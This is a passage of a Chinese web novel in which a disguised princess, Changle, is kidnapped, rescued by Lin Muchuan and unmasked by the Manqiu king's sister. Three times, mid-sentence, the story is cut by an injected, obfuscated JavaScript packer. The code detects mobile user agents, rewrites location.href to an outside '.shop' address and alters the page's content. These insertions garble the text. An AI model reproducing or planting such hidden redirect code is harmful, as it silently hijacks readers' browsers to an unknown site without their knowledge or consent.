思绪周全后，她走出旅店来到了街上，此地名为东弥，在坦勒城的北边，再往前走两个城市就到了王城。 常乐遥遥望着北方，然后收回了视线，朝着街市的方向而去。 还没走出几步，忽然被撞了个趔趄，低头去看，只见一个老妇人倒在地上，她急忙蹲下身子查看，然后就见妇人将手一扬，随后她就觉得天旋地转，晕死过去。 再醒来时，她发现自己口里塞了布料，怎么都弄不出来，手脚也被绑住了，整个身子被塞在一个箱子里，箱子还一直在晃荡。 常乐凝眉感受了一会儿，判断箱子是被放在一个马车里的，她奋力动脚猛踹，箱子发出咚咚的声音，踹得几下都没见别的动静，看来马车里没有别人。 她又看了一圈，头上有一个几个小孔，想必是对方特地留下给自己呼吸用的，看来那人并不想要自己的性命，常乐闭眼长舒了一口气。 只是，蛮丘地界，谁会绑架自己呢？难不成是身份暴露？ 不可能，她摇摇头，摒弃这些对此时间来说毫无意义的念头，开始极力挪动身体思索脱身之法。 才转了个头，就感觉身子一晃，马车停了下来，然后是车帘掀开的声音。 “到了。”一个苍老的蛮丘语声音响起。 那人登上了马车，脚步越来越近，常乐额头瞬间起了细密的汗。 忽然，周围喊杀震天，靠近的脚步声猛然一顿。 30. 营救 是什么人？土匪？强盗？还是蛮丘的军队？或者是贾松过来营救自己了？ 一瞬间，常乐心里无数念头闪过。 不，不可能是贾松过来，他手里那几个人弄不出这么大的阵仗。 方才那个靠近的脚步已经匆匆往外，常乐立刻卯足了劲撞向箱子锁扣的地方。 不论来者是何人，此时的机会都必须抓住。 她判断这是一个十分普通的箱子，木制、掀开盖子就能放置东西，前方的中间做了锁扣。钉在盖子上的那个铁片中间开孔，合上时孔套在下方的突起处就能将盖子闩上。 那里此时应当是没有上锁的，她撞的时候只能听见铁片摩擦的声音，而没有锁的沉重声响。 必须趁此机会逃出去，她的心像要从喉咙里跳出来，出去以后或许能趁乱躲起来。 终于，在又一次撞击后，一道光刺进了她的眼睛，努力睁开眼睛，果然看见了那个熟悉的铁片造型，她所料不差，铁片上果然没有挂锁。 常乐在身上摸索了一阵，终于想起头上有一根固定发髻的木簪。她立刻拔出簪子小心翼翼地去拨铁片，尝试了几次以后，铁片脱出那个突起，她随即往上一顶，木箱就此打开。 入眼是一个十分简陋的马车，因为燃着一盆木炭，倒也不显寒冷。 马车外能听见刀剑劈砍在一起的声音，她犹豫了片刻，还是乍着胆子掀开车帘去看，没想到已经是晚上了，借着雪地的光，可见两方蛮丘装扮的人打在一起，一时间她也分不清究竟是哪边的人绑了自己。 忽而，对面的山坡上传来呼喊的声音，哒哒的马蹄声也随之响起，常乐抬眼去看，山坡光秃秃的树杈间瞬间冒出了许多旗帜，难不成有大部队过来了。 没等她多想，山坡上奔下一人，然后是三人、五人…… 身体开始不由自主地抖动，她下定决心，猛地钻出车帘，而后朝着相反的方向发足狂奔。 “很好，无人发现我逃了，他们已经分不出心神来注意我。”常乐嘴里快速吐字。 但这也就证明杀奔过来的另一方实力太强，她心中念头急转。 “找个地方藏起来，找个地方……找地方……” 她的头发已经完全披散，寒风迎面一吹，全打在脸上。面部已经麻木到感觉不出痛，她嘴唇颤抖，视线在周围的环境里急速扫过。 左前方有一处不矮的土坡，她看见后迅速往那边奔去。 身后已经响起马蹄声，她瞳孔越睁越大，脚下越跑越快，然后踩到一处湿滑之地摔在地上。 好在已经靠土坡，她迅速翻身藏到后面。 马蹄声渐渐靠近，随着踏踏声响起的还有自己的心跳。 有人下马了，那人的脚步往这边来了，一步两步…… 她瑟缩着将头埋进臂弯，紧闭了眼睛。 “娘子？常娘子……” 熟悉的声音在上空响起，她迟疑了一会儿，然后手臂就被人捉住了。 “啊——”她本能地惊叫起身往后躲。 “娘子，常乐！是我，林牧川。” “林牧川？”常乐抬头，一张熟悉的脸就映入眼帘。 “真的是你！”她几乎要哭出声来，不由分说地上前双手抱住。 等对方的身子不再颤抖了，林牧川才将人从怀里轻轻推了出来。 “寒风凛冽，还是回马车上吧。” 常乐其实早就回过神来，只是方才的举动着实太过，她一时不知如何应对，只得佯装自己还在恐惧当中。 终于在她脸红到脖子的时候对方有所动作了，她垂了头，将整张脸埋在黑长的青丝当中，轻轻颔首。 “头发要不要绑起来？”对方问，常乐赶紧摇头，一点也不思考对方让自己如何绑头发。 那一摔肯定是伤着腿了，方才站起来不觉得，此刻回过神来，动一下就钻心地疼。 她咬牙往前挪动，头顶的声音又传来响起。 “你腿伤着了？” 常乐点点头。 半晌，此人才又开口：“我还是让人把马车驾来吧。” 常乐又点点头，然后就听见他吩咐了一声。 四周一片寂静，寒风吹来，拨乱头发，她赶紧手忙脚乱地拨回来。 正捏着发丝思考待会儿如何解释，一股温暖的感觉就覆盖到了自己身上。 她本能抬眼，对上一双清澈的眸子。 “啊……不用，我不冷，你自己披……”她瞬间又低了头。 话没说完，斗篷的带子已经系好。 “多，多谢。”常乐简直想给自己一巴掌，怎的如此扭捏了！ 她心下一横，拨开头发就要直视林牧川的双眼，然后就看到他转头往另一边望去。 马车已经来了，她壮起的胆子也泄了气。 马车自然是方才那辆马车，林牧川匆匆赶来怎会有时间带一辆马车。 好在里面炭火足够，坐的一会儿身子就热了。她卷起裤腿去看受伤的小腿，当时应该是磕在了石块之上，还好穿得厚实，伤的不重。 林牧川将自己送上马车就下去了，还留下了一瓶药膏，她拿着细细擦在伤处。 此时想起自己那一抱便已经释然，做人的本能而已，无甚好为此羞赧的，就算林牧川日后问起，她也能轻松地如此说出口。 只是在瞥见一旁的那件斗篷时，她的脸不由自主地又红了。 常乐将斗篷握在手里，想着究竟要不要递到外面给他，霜天雪地的晚上骑马，终究容易受风寒。 斗篷还未递出去，马车已经停下了，她掀开车帘，见林牧川下马走过来。 厚重的羊毛长衫穿在他身上却一点都不显臃肿，照样看起来挺拔如松，雪不紧不慢地下着，落到他的帽子上，也落到眉睫之上。 他转头与身边的护卫说些什么，半边脸就藏在了黑暗之中，朝向这边脸被月色一照，叫她品出了点陌上人如玉的味道。 他转头，两人四目相对，然后常乐就见原本清亮的一双眸子瞬间染上了一层暖色。 林牧川迈步走近，说：“到了，我扶你下车。” 常乐身子一动，然后才意识到自己的手上还拿着对方的斗篷。 “外边冷，你还是先披着吧。”她说。 “好。”他伸手接过，三两下披在身上，然后扶着常乐下了车。 落点又是另一处旅店，稍微收拾后两人坐到一起开始复盘这一次的遭遇。 “你怎么回来了？”常乐率先发问。 “我本就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918531|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走，一直在原本旅店的不远处等着。”林牧川解释。 昨日清晨，他起来小解，在旅店的一楼发现了一个形迹可疑之人，他回忆了一会儿就想起在坦勒城的那个旅店也见过此人。 “于是你就假意离开，想看看他们究竟想干什么？” “是”林牧川点头，“只是不料他们竟然会绑架你，让娘子受苦了。” 常乐却并未回话，她单手支颐，定定地望着对方，直到林牧川的面色再维持不住才开口。 “撒谎也要看对象的林大人，以我对你的了解，如果真是如此，你定然不会瞒着我。” 她身子往前探，与眼前之人对视：“林大人，你怀疑我。” 半晌，林牧川才放松一笑：“真是什么都瞒不过常娘子，不错，我确实怀疑你。” “应该说，我从见你的第一面开始就觉得你身上的都是谜团。气度不凡却查不到任何来历，身为女子却擅长制茶，甚至对贡茶的制作成竹在胸。” 他接着说：“到了黎安城后，你的种种表现就更出乎我的意料，懂蛮丘语、知道蛮丘礼仪的细节，还时不时陷入沉思，对蛮丘王和蛮丘王妹好似也颇有了解。” “所以。”常乐接话，“你怀疑我是蛮丘人？不，你怀疑我是蛮丘长大的大昭人。” 林牧川摇头：“你不会是在蛮丘长大的，你通身的气质只能是大昭的显贵家族里才能养出，至于你为何对蛮丘如此了解，我怀疑与你定亲的是蛮丘人，你父亲，或者你的家族为了什么目的要将你嫁到蛮丘，所以你才反抗，你才要证明自己的实力，但到了蛮丘，他们发现了你的踪迹，要将你带回。” 他这一番话，将常乐彻底说楞了，过了好久，她忽然放声大笑。 这林牧川，眼睛为何这样毒。 笑罢，她收敛神色，直视对方道：“如今，林大人对我的怀疑可尽消了？” 林牧川预想的解释没有听到，反而被她这么一问。 但他知道，对方不说绝对是勉强不来的，于是他点头：“那些人绑架你的做派哦，绝不像是对自家女儿或者未过门的媳妇，因此，我猜想可能是你或者你家族的仇人。” “于是，你就来救我了。”常乐眉眼弯弯，眼眸灿若星辰。 “借着黑暗故作声势而已，想必常娘子也是知道典故的。” 常乐点头，然后说：“林大人之前便对我多有帮助，如今更是有救命之恩，但请恕我有很多事目前仍不能告诉你，但我能说的是，绑我的人不是我或者我的仇人，实际上，我也不知道究竟是何人要绑架我。” 林牧川闻言就皱起了眉头，见他如此，常乐禁又开口。 “林大人。”她起身走到对方面前，低声说，“你是否想过将雁城的兵权夺回来？” 林牧川倏然抬头，满眼震惊地看着眼前这个甚至能称为体态柔弱的女子。 “从黎安城便能看出，如今的朝廷已不顾不上军队的死活，国库空虚也好、派系争斗也罢，终究是苦了边地的将士。黎安城如此，你的雁城呢？你曾经的手足兄弟是否也食不果腹？” “甚至。”常乐直直地望向眼前尤自惊愕的人，“你的雁城还在一个并无统兵之能，也毫无爱将之心的人手里。” 林牧川面沉如水。 31. 王城 贝图城来了几个昭国长相的男子，他们称手里有靖宁公主最爱喝的茶叶，正在寻出价高的买主呢。 靖宁公主是谁？那是昭国皇帝的女儿，即将嫁到蛮丘王帐的未来阏氏，连阏氏都爱喝的茶该是多么地美味！ “听说这个公主就是原来那位阏氏的亲妹妹！”一位十七八岁的姑娘说。 “那该和原来的阏氏长得一样好看！”她身边一名年龄相仿的蛮丘女子说，然后开始兴奋地跟伙伴描述五年前嫁过来的那位阏氏的长相。 前者在阏氏送嫁队伍经过贝图城时没有占据一个好位置，因此并未看到对方的长相。 每次听到好友跟她描述时，她都很是不高兴，见人说得天花乱坠，她忙出口打断：“你上次还说阏氏眉心画的是梅花呢，这次怎么又变成桃花了。” 看伙伴被她这句话堵得干瞪眼，她心情立刻又好了起来：“再说了，谁知道他们说的是真的还是假的，说不定就是来骗钱的。” 伙伴立刻回话：“怎么能是假的呢？那个领头的可是昭国控茶司的司长。” 此刻，被满城讨论的控茶司司长林牧川正无奈地送走过来洽谈生意的第十波人，他将十两银子摆在旅店老板的案头。 “把那些找我的人都堵在外面，这些就是你的了。” 老板欢天喜地张罗人手堵门，他抹了把已经笑僵的脸往房间走，路过常乐所在的房间时，他闻到一股陈皮味道。 敲门后，听得里面人的回话，他推门而入，浓烈的味道让他不由得打了几个喷嚏。 那边常乐已经笑开：“林大人，你还是回房吧，我这儿马上就好了，我待会儿过去与你说话。” 林牧川却未走，习惯了一下房里的味道后，他走近细看，只见常娘子将一个陶罐架在炭火之上，罐子里放了些茶叶和陈皮。 “这便是靖宁公主最爱的茶叶？”他问。 常乐手上的动作忽然一停，然后将罐子的茶叶倒进一旁的银盘里才开口：“是不是不重要，让别人无法证明不是就可以了。” “你该不会真想靠这个噱头将手里的几十斤茶叶卖出天价吧？” “难道不可以吗？”常乐净完了手，站到林牧川对面问。 “还能卖出何种天价？你这两日炒了可有五斤茶，买陈皮的本钱可能回来？” 蛮丘不产柑橘，自然也就没有陈皮，他们颇费了一番功夫才在一名摊主手里高价收了几斤，看成色估计是几年前从昭国辗转过来的。 常乐便笑：“不着急，我这叫放长线，钓大鱼。” 林牧川望着她亮灿灿的眸子有一瞬失神，自从前几日她问自己是否想夺回雁城的兵权时，这双眸子就不断出现在他的脑海里。 与此时明媚张扬的神色不同，当时的那双眸子里蓄满的，是试探、好奇，和诱惑。 此后的几日，他只要想起那时她的眼睛，他就会再一次确定，这个女人绝对是在引诱自己夺了雁城的兵权。 当然，他不是没有这样想过，相反，自从得知被褫夺了雁城副将职位要走马庆丰县控茶司时，他无数次想夺回自己的位置。可这就意味着抗旨，意味着造反…… 他正想着，外面忽然传来一阵喧闹声。 林牧川与常乐对视一眼，刚走出房门就见店主走了过来。 “不好意思，但这是大王派来的人我不敢拦。” 或许是太惊讶，店主此时说的是蛮丘语，林牧川自然听不懂，于是转头看向常乐。 常乐眉眼一弯，道：“鱼儿上钩了。” 直到坐上了蛮丘王派来的车马，林牧川才有真实感，这女人做这一切果然是为了面见蛮丘的王。 可是她是为什么？难不成真是为了茶叶的交易？ 他看了眼身旁放着的几斤茶叶将这个念头按了下去，这个茶叶的味道甚至不如此前添了茉莉的陈茶和劣茶。 他这厢疑惑满腹，常乐却心中惴惴。 再次偷偷将衣袖里小巧的铜镜露出一点，她仔细打量着镜子里自己的模样：蜜色的面皮、剑眉、长须，甚至在脸颊上点了一颗痣。 昭国人也许多看几眼就能发现自己是个女子，但蛮丘之地常年难有昭国人踏足，就算在乌叱敦的王帐里原来也只有自己和随身的两名侍女而已。 就像昭国人看蛮丘人都长一样相同，蛮丘人看昭国人也几乎是一张脸。再经过自己如此装扮，在他们眼里，自己多半就是一个长相清秀的昭国男子而已。 但这一路上她还是难以完全放下心来，或许是因为顾忌自己这张脸为蛮丘贵族所熟稔，或许是因为靠近自己不愿回顾的地方…… 收好铜镜，常乐暗自长吁一口气，既然已走出这一步，那就不能再畏首畏尾。更何况，大昭的靖和公主、蛮丘王的靖和阏氏已经死了。 是的，从到蛮丘时她就开始打听靖和公主的事，得到的消息大同小异，但都指向一件事：靖和公主死了而且是被狼咬死的，护卫只在草原上看到披着她衣服的一条手臂。 当然，蛮丘人是不会这么说的，他们的说法是：苍狼王看上了靖和公主，将她带到天际作妃子去了。 无论这件事是乌叱敦授意，还是布珊的谋划，总之，在所有人眼里，她已经死了。 而人死是不会复活的。 思虑至此，常乐总算有心情将视线移到外面——车子已经驶进王城，入眼的一切熟悉又陌生，将她的记忆一点点唤醒。 一队队踱步而行的骆驼、高耸仿昭国形制的阁楼，还有当时为了迎接自己而修建的公主塔…… 她被那矗立的塔惹得红了眼眶，一转头竟然对上林牧川的眼睛，后者此时也正掀了车窗的帘子往外看。 常乐惊慌地放下帘，在车内揪紧了衣袖，而后又将帘子掀开，那人果然还维持着方才的姿势，她扯着嘴角笑了笑，等对方回了个笑容以后她才又端坐回车内。 短短几日，这已经是自己第二次在他面前失态了，上一次还能解释为恐惧之下的人之常情，那么这一次呢？ 她心中懊恼，但转瞬又放下了，他对自己心存疑惑已经不是一日两日，前些日子两人甚至已经将此事摆上了台面。 如今不过是又多一项而已，也没那么要紧了。 不久车马便停了下来，两人在侍卫的带领下走入了王帐。 帐篷上厚重的毡帘一掀，常乐一眼就看到了坐在上位的蛮丘王乌叱敦，以及侍立于一旁的布珊。 两年的时间不足以让人发生多大的变化，此时一面让她恍惚觉得彼此昨日才见过，自己仍旧是乌叱敦的阏氏，而庆丰县所发生的一切不过是黄粱一梦。 但一个声音将她拽回了现实，林牧川以大昭语向乌叱敦行礼，让常乐想起自己此时的身份是他的蛮丘语通译，于是跟着一起行礼。 说了两句场面上的话，乌叱敦就让坐下，随即就提起了茶叶。 “孤听说你们有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941445|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭国靖宁公主最爱的茶叶，你们想必也知晓，靖宁公主即将嫁到王帐成为孤的阏氏，孤想提前了解一下公主的口味。” 常乐忍着不适将话译与林牧川，后者就将茶叶奉了上去。 乌叱敦接过茶叶就皱起了眉头：“这是你们陈皮的味道，难道靖宁公主也喜欢陈皮？” 是的，乌叱敦爱陈皮的味道，为了满足他的爱好，王帐的厨子使尽浑身解数将陈皮添进吃食里进给他。 就连她，为了讨好，也在刚到蛮丘的前几个月做了几款带陈皮的糕点，但后续就是这些糕点都被原样扔给了乌叱敦豢养的猎犬。 等明白自己的处境以后，她再未殷勤过。 林牧川自然不知道此事，于是只能顺着话说些陈皮的药效，又扯些公主特地让自己研制添了陈皮的茶叶的谎。 乌叱敦但笑不语，林牧川不清楚其中秘辛，又开口道：“大王如此关心靖宁公主，公主入蛮丘以后与大王定然会鹣鲽情深，此实乃两国之幸。我这位通译听过不少公主之事，大王尽可相问。” 此番话说得常乐心中不悦，她略过前面的话，只将后一句译成蛮丘语说了。 然后她就感到一个熟悉又毒辣的眼神落到了自己身上，她轻轻抬眼，果见布珊双目淬毒般盯着自己。 她终于注意到自己了，常乐坦然与其对视，布珊终于收敛了眼神，下意识地往乌叱敦身边靠了靠。 看来她并没有认出自己，常乐心下一松。 从进入大帐后，她就一直在暗中注意布珊的脸色，当乌叱敦说到陈皮的时候，她本就不耐烦的脸顿时黑沉了下去，若不是顾及场合，想必早就将那包茶叶像以前一样扔给猎狗了吧。 乌叱敦对她也是十分爱了，在她译了陈皮功效的话以后，他竟然一句话都不说，常乐暗自嗤笑。 不过也多亏了他将布珊宠成了这般骄纵的性格，不然她也没这么快能到王城。 在得知蛮丘王派遣侍卫令他们入王帐后，林牧川说她果然别出心裁，以此引起蛮丘王的注意。 常乐当时也只是顺着他的话应了，但其实，他的目标并不是乌叱敦，而是布珊。 和亲于乌叱敦尔元只是政事，人在眼前他都不会多看两眼，更何况一个不辨真假的消息。 但布珊却一定会耿耿于怀，一定会撺掇乌叱敦将茶叶收来一看就究竟。 事情果如她所料，甚而因为她特地让茶叶染上了乌叱敦最喜爱的陈皮的味道，布珊显得更为愤怒。 一贯受宠，却因为身份不得有任何地位，还要看着自己所爱之人与她人风光成婚、生儿育女…… 以布珊的性格而言，乌叱敦越是爱她、宠她，她面对此类事情时，只会更失控。 而这，也是常乐想要的结果，布珊越疯狂，她就越能发现对方的秘密，也就越能找到她害自己的真相。 天气越发地冷了，草原上的风如刀子一般刮在脸上，常乐远远地望向昭国都城所在的方向出神。 “父皇，在得知我死讯的那一刻，你是否有一瞬的后悔和痛心。” 眼泪不知不觉滴了出来，刚抬起手，身后就传来林牧川的声音：“常龙——” 她赶紧将泪珠擦掉，而对方已然站到了自己身前。她敏锐地察觉到林牧川眼中闪过的惊诧。 “林大人何事？”她问。 林牧川早已换成了正常的神色，道：“蛮丘王妹尔云珠派人请你过去说话。” 32. 王妹 尔云珠，乌叱敦的王妹，在蛮丘王庭权势仅次于蛮丘王的人。 以女子之身与男子共享权力，这是在昭国不曾有过的，就凭这一点常乐之前就对她心生敬佩，更何况她还曾多次为自己解围。 回到自己下榻的帐篷，看到被尔云珠谴来的侍女时，她不由得愣在当场。 喜晴，那个从孩提时就一直跟着自己的宫女，那个得知自己和亲，无论如何都一定要跟来的宫女。 下一刻，常乐的眼睛就转向了喜晴的身侧，可她周围空无一人。 “念冬呢？”这三个字几乎要脱口而出，她往前迈出一步又生生忍住。 “常先生。”喜晴说的是昭国话，“我们殿下特请你过去说些昭国近事。” “哦。”常乐回过神来，“多谢殿下看重，常某定当知无不言。” 为避免被对方觉出不对，她刻意又将嗓音压低了几份：“姑娘是昭国人？” 喜晴边引路边答：“是，奴婢是靖和公主的陪嫁。” “原来如此，如果在下没记错的话，靖和公主当时带了两名陪嫁宫女到此地。” 说完这句，喜晴就只嗯了一句，然后就开始叮嘱面见尔云珠的一些注意事项。 常乐顿觉不妙，为何她要回避此事，究竟因为公主身边之事不可探问，还是有其他原因？ 一路上应付着喜晴的嘱咐，没过多久就到了一处帐篷之外。 喜晴与守在帐外的侍卫招呼一声，后者就迈步而进，不久后她就出来让二人进去。 进得帐篷，常乐就察觉到尔云珠一直盯着自己看，她不由得回望了过去。 “哎呀。”尔云珠用蛮丘语感叹一句，笑说。“好久没见过昭国的男子了，长得就是比我们蛮丘的汉子秀气俊朗，我这样看着你不算冒犯吧。” 蛮丘风俗向来大胆，常乐连道不敢，又少不得就要与她说笑两句，尔云珠才提起找她来的原因。 “一来是我想听听昭国近事，二来这个丫头离开故土多年，也让她解解思乡之情。” 常乐心头的不安更重了，若真是如此，那为何不见念冬？ 心中思绪翻飞，面上却还是作出高兴的样子，将大昭近来的一些趣事拣着说了些。 “果然有意思。”在听完几件事后，尔云珠话头一转，问起了茶叶之事，“靖宁公主果然喜欢陈皮味道的茶叶么？” 未料到她会问这个，常乐一时不知做何回答，毕竟喜晴还站在这儿呢，她是知道靖宁的口味的。 但既然林牧川为配合自己扯了那个谎，她也不能拆台，只好含糊开口。 “据林大人所说，靖宁公主确实曾令他制添了陈皮的茶叶。” “那可真是有缘分了。”尔云珠感慨，“王兄也最爱陈皮的味道，想必你们的靖宁公主嫁过来能与王兄琴瑟和鸣。” 常乐只好勉力挤出笑来顺着她的话说下去。 又说得一会儿，尔云珠忽然一拍巴掌，道:“哎呀，竟然未给客人上奶，都怪我听得太入神了，说了这么久，一定渴坏了吧？” 她如此说着，就有一名侍女端上来几杯热气腾腾的奶。 “都是今天新下的奶，你尝尝。”尔云珠介绍着，“左边这杯是加了冰霜花煮的，入口清凉，右边这杯加了藤藤草，喝了辛辣暖胃。” 常乐的脸上的笑容一僵，趁着谢恩不经意瞥过对方的脸，尔云珠嘴角含笑，一双意义不明的眸子盯着她。 “今日受大王款待，宴席丰盛，正好以这清凉的滋味解腻。”说着，她端起了左边那杯。 嘴唇凑近杯沿，热气腾腾的奶香钻入了鼻子，她嗅不出任何别的味道，但当喝下第一口之后，她就知道事情已经朝着自己最不愿看到的方向发展了。 果然，放下杯子不到半刻，她就觉得脸上越来越烫，喉咙变得越发干痒。持续了一会儿后，她再忍受不住，趴在面前的桌案上剧烈喘嗽起来。 “怎么回事？”她听见尔云珠惊呼。 “殿下恕罪，奴婢记错了，这杯加的是藤藤草。”侍女颤声回答。 “那还不快去煮解药！” 一碗腥苦的汁子灌了进去，常乐被搀扶着躺到了一张柔软的羊毛毯上。 意识清醒以后，她倏地起身。 “你醒了？可还难受？” 转头看向声音传来的方向，尔云珠正从凳子上起身。 “在下没事了，多谢殿下关心。” 她想离开，急切地想离开，但这位蛮丘王妹却满含歉意地走了过来。 “实在是抱歉，侍女弄错了装牛奶的杯子，你喝的那杯加了藤藤草，看来你的身子也不能喝这个。” “是吗？”常乐低声开口，眼睛已不敢与面前之人对视。 尔云珠竟也不再多说，反而提起了另一个话头：“你说的加了陈皮的茶叶就是这个吧，我也想尝尝新王嫂都爱的口味，就向王兄讨了一点。” 常乐看着对方手里递来茶包，这哪里是一点，这分明就是全部了。 “正是这个。”常乐回答。 尔云珠听罢，拿银镊子夹了茶叶放到茶壶里，然后提着一旁的大铜壶往茶壶里注沸水。 她倒了一杯递给常乐，常乐不明所以地接了过去，还在对方的示意下跟着往前走。 “既是妹妹喜欢的，那也让姐姐喝上一口吧。” 常乐猛地抬头，就见自己已经走到一块白布面前，就在这一瞬，白布被掀开，下面露出一副女子的画像。 “这是前王嫂，靖宁公主胞姐，我与她向来交好，她去后我便让人画了像，依照昭国的方式日夜奉香。” 尔云珠的话说得情绪万千，常乐身子一颤，手中的茶杯跌落于地。 “殿下，你何时知道的？” 喜晴领路、热奶试探、画像为证，尔云珠已然知道自己的真实身份。 靖和阏氏不能碰藤藤草，一碰就会全身发烫，靖和阏氏在蛮丘三年从来都未曾挽过随云髻，也从未穿过如此朴素的衣服，画像上的装扮分明是她在庆丰县时的装扮。 且那画像墨迹尚新，怎可能是两年前画的，又怎可能受了近两年的香火。 “这件事实在是太过诡异，实话说我到现在都不能完全相信你就是她。”尔云珠上前扶着仍旧惊魂未定的常乐，“所以，这究竟是怎么回事？” 平复过心绪，两人在桌案前相对而坐，常乐这才开口：“殿下觉得应该是怎么回事？” 尔云珠因这句反问愣了片刻，随后轻笑：“你难道想说自己是凭空越过几千里的距离从蛮丘到了那个什么庆丰县？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958311|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蛮丘语里面没有庆丰县三个字，带着浓烈口音的昭国字钻入常乐的耳朵，令她有些不适。 她眼睫一颤，就那样望着对方，尔云珠的神色逐渐从不满转为疑惑，进而转为震惊。 “避开层层护卫从王城里只身离开，不带任何财物跨越千里……用你们昭国的话说这简直是天方夜谭，但最让我不能相信的是，你是两年前的三月初消失的，但四月甚至更早就在庆丰县了。” 这番话说得常乐心头一惊：“你查我？你究竟什么时候开始怀疑的我？” 不等对方回答，她又立刻开口：“不对！你不可能那么早就起疑心……”，她脑中万千思绪翻腾，忽然眸子一亮，定定望着对方，嘴角勾出点得意的弧度。 “若我所料不错，忽然提起两国茶叶交易的不是蛮丘大王，也不是昭国皇帝，而是殿下你。” 尔云珠先是诧异，而后粲然一笑：“你竟猜得到。” “只是为什么是茶叶？昭国盛产而蛮丘稀缺的不止茶叶，丝绸、瓷器，至少粮食、纸张和器具才更重要些。” 常乐凝眉望向对面，尔云珠只说了一句话：“因为你是女子。” 听得回答，常乐一震，女子便不同么？ 尔云珠看出她的惊讶，开口解释：“你们昭国自称物资丰富无所需，纵使兵马不如我们，到了需要下嫁公主的地步，依旧觉得高高在上，我想从朝廷层面开启互市，但也受够了昭国男人永远鼻孔看人的傲慢。” 半晌，常乐才又接过话头：“所以，当你得知上贡之茶是一女子所制以后，便谴人去了庆丰县打探我。” “不错，不过当时我只是存了多了解你的意思，派出去的人带回了你的画像，看到的那一刻我不得不向苍狼王祈祷不要让我做噩梦，这世上怎么会有如此相似之人。” 尔云珠说着，双手交叠在胸，做了个祷告苍狼王的姿势。 话说到此，常乐也没什么好忌讳的，她直言道：“大王不希望互市成功，因此派人与黎安城崔将军达成合作，但为何又变成了你的人？” 提到乌叱敦，尔云珠脸上闪过一丝轻蔑，“他做事只凭一时好恶，从不考虑是否对蛮丘有利，这样做只是为了打破我的计划，我自然不能袖手旁观，更何况你还在其中，我不指望他们能不对你们动手。” 常乐背脊忽然蹿起一阵寒意，难怪明明是两国高层确定的互市，在蛮丘境内如此大动作与控茶司的私下交易都不被发现，原来背后竟然是这样的原因。 “那你为何又要抓我？” “我给过你暗示的，我以为让托娅展示出自己的女子身份，以你的聪明才智是能料到她背后的人是我的。” “原来如此，难怪她会刻意从我身边走过，还特地将与我同样的羊毛披肩展露出来。但是殿下，你预料错了，我其实早就发现了她女子的身份，也猜到了幕后是你。” 尔云珠瞳孔一缩，而后又笑道：“想必是托娅那姑娘行事稚嫩，漏了马脚。” “倒也不能全怪她，有些积习确实难改。”说着她亮出手掌，又将拇指内扣，对面立刻了然。 “靖和心细如发。” 常乐面色不变，又是径直开口：“所以殿下，你有何事这么紧急找我，甚至多等几日都不得，竟要绑架我？” 33. 疑窦 “那当然是想让你为我所用。”尔云珠言辞利落，面色却依旧温和，“你们队伍运送的茶叶我收下来了，但后续其余茶商送来的难保不会被我那好哥哥劫走。” 常乐眉头一跳，这二人的斗争由来已久，乌叱敦一直想吞了尔云珠的势力，但尔云珠的手腕却也不容小觑，多年来二人你争我斗，这才让大昭得了喘息。 蛮丘兵强马壮、善于奔袭，父皇还如此不体恤边地将士，她无法想象，若是蛮丘没有这层内斗，昭国能在他们的铁蹄下撑多久。 这念头让常乐不由胆寒，沉吟片刻，她道：“实不相瞒，大王的算计并不会得逞，黎安城崔将军并不打算劫民间的茶商。” “这也不过是不再那么方便了而已，那些茶商从踏出你昭国起就有无数把弯刀砍过来。”尔云珠开口。 “这就是殿下的事了，难道没有我殿下就毫无办法了吗？” “我自然有应对的法子，但既然有更好的选择，我为何要选麻烦的那种呢？”尔云珠扬起一边嘴角，“更何况，你能拒绝我么？” 常乐看着对方的拇指漫不经心地摩挲着食指上的苍狼扳指，她瞳孔猛地一缩，这是她号令军队的象征。 尔云珠好似被她的表现逗笑，明媚的一张脸上更加神采飞扬，她缓步走近，将身子探向常乐。 “看，这就是权势的好处，你之前受你的天子压制，而后受乌叱敦的压制，如今好不容易有了些腾挪的余地，又落入我的手里。” 她的语气充满蛊惑的意味，常乐一时听住了。 “那不知殿下能给我什么权势呢？” 此话一出，尔云珠登时仰天大笑：“靖和，我果然没看错你，你与一般的昭国女子不同，你与我一样心中不服。” 常乐却并没有如她所料地表现出认可，而是摇头道：“殿下，那你便错了，昭国的女子心中不是没有愤怒，只是她们从未拥有过不服的底气和条件罢了。” 说到这，她脑海中浮现出杨初月在贵宾楼陷害那名茶商的情景。 “哦？”尔云珠眸子一沉，“那我倒要看看你手下的那群女子是否像你说的那样。” 说着，她将一张帖子递了过去，常乐狐疑地接着、打开，一点点看着帖子上的内容，她的眼睛越瞪越大。 